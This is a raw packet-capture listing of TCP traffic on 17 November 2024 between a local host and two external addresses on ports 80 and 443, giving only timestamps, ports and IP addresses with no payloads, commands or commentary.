Nov 17, 2024 12:35:24.484488964 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.484510899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.484530926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.484533072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.484551907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.484572887 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.484575987 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.484596014 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.484615088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.484698057 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.484767914 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.509788990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.509815931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.509840012 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.509850979 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.509943962 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.509964943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.510076046 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.510282040 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.524775028 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.525490999 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.525517941 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.525775909 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.525783062 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.535082102 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.535773993 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.535774946 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.535794020 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.535814047 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.537153959 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537193060 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537213087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537240982 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.537319899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537338972 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537359953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537379980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537405014 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.537405014 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.537638903 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537658930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537679911 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537699938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537719965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537739992 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.537760973 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.537760973 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.560559034 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.560905933 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.560995102 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.560995102 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.561372995 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.561387062 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.563606977 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.563698053 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.563885927 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.563955069 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.563973904 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.579963923 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.580111980 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.580219984 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.580246925 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.580461979 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.580461979 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.580480099 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.580492020 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.583493948 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.583532095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.583550930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.583645105 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.583663940 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.583683014 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.583697081 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.583790064 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.583822966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.583838940 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.583904028 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.583921909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.583940983 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.583961010 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.583961010 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.584002972 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584045887 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.584079027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584095955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584148884 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.584208965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584225893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584245920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584265947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584301949 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.584340096 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584359884 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584379911 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584485054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584501982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584521055 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584539890 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584567070 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.584567070 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.584666014 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584682941 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.584683895 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584757090 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584778070 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584796906 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584799051 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.584892988 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584909916 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.584981918 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585000992 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585031986 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585048914 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.585048914 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.585127115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585158110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585182905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.585278988 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585298061 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585432053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585449934 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585479021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585498095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585517883 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585524082 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.585524082 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.585534096 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585570097 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.585585117 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585603952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585622072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585640907 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.585642099 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.585643053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585664034 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.585737944 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.585762024 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586019039 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.586050987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586093903 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586133957 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586174011 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.586249113 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586267948 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586286068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586323023 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.586416960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586435080 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586453915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586473942 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586498976 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.586498976 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.586595058 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586611986 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.586616039 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586637974 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586653948 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586704016 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.586745977 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586766005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586786985 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586822033 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.586822033 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.586981058 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.586998940 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.587019920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.587038994 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.587059021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.587078094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.587097883 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.587125063 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.587125063 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.587125063 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.587281942 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.587299109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.587359905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.587359905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.588776112 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.588867903 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.589147091 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.589339018 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.589370966 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.611336946 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.628050089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.628082991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.628117085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.628137112 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.628160954 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.628177881 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.628177881 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.654019117 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654105902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654124022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654205084 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654234886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654257059 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654263973 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.654273033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654315948 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.654366970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654386997 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654413939 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.654413939 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.654462099 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.654481888 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.654520035 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654541016 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654561043 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654624939 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.654628992 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.654628992 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.654740095 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.654758930 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.654778957 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654798985 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654817104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654836893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654855967 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.654887915 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.654887915 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.654954910 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.657463074 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.657551050 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.657691002 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.657931089 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.657963991 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.667855978 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.668071985 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.668765068 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.668910980 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.668924093 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.668955088 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.668962002 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.671238899 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.671289921 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.671484947 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.671484947 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.671535015 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.700896978 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.700946093 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.700965881 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701018095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701039076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701059103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701081038 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701103926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.701103926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.701103926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.701222897 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701258898 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701277971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701296091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701328993 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.701487064 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701507092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701524019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701543093 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701564074 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701594114 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.701594114 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.701594114 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.701823950 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701843023 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701874971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.701922894 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.702003002 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702022076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702042103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702061892 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702083111 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702100039 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.702105045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702124119 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.702161074 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.702326059 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702342987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702364922 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702409983 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.702533960 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.702548027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702569962 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702589989 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702609062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702627897 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702807903 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.702807903 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.702836990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702855110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702876091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702894926 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702917099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702936888 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.702939987 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.702939987 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.702969074 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703010082 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.703191996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703232050 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.703298092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703330994 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703351021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703370094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703387022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703392029 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.703406096 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703425884 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703445911 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703504086 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.703505039 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.703505039 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.703751087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703828096 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703846931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.703875065 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.703984976 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704004049 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704024076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704042912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704045057 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.704061985 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704081059 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.704082012 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704396963 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.704462051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704480886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704499960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704519987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704539061 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704556942 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704576015 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704588890 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.704588890 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.704592943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704607964 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.704613924 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704632998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704652071 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.704670906 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.704762936 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.705127001 CET	80	49751	185.215.113.16	192.168.2.6
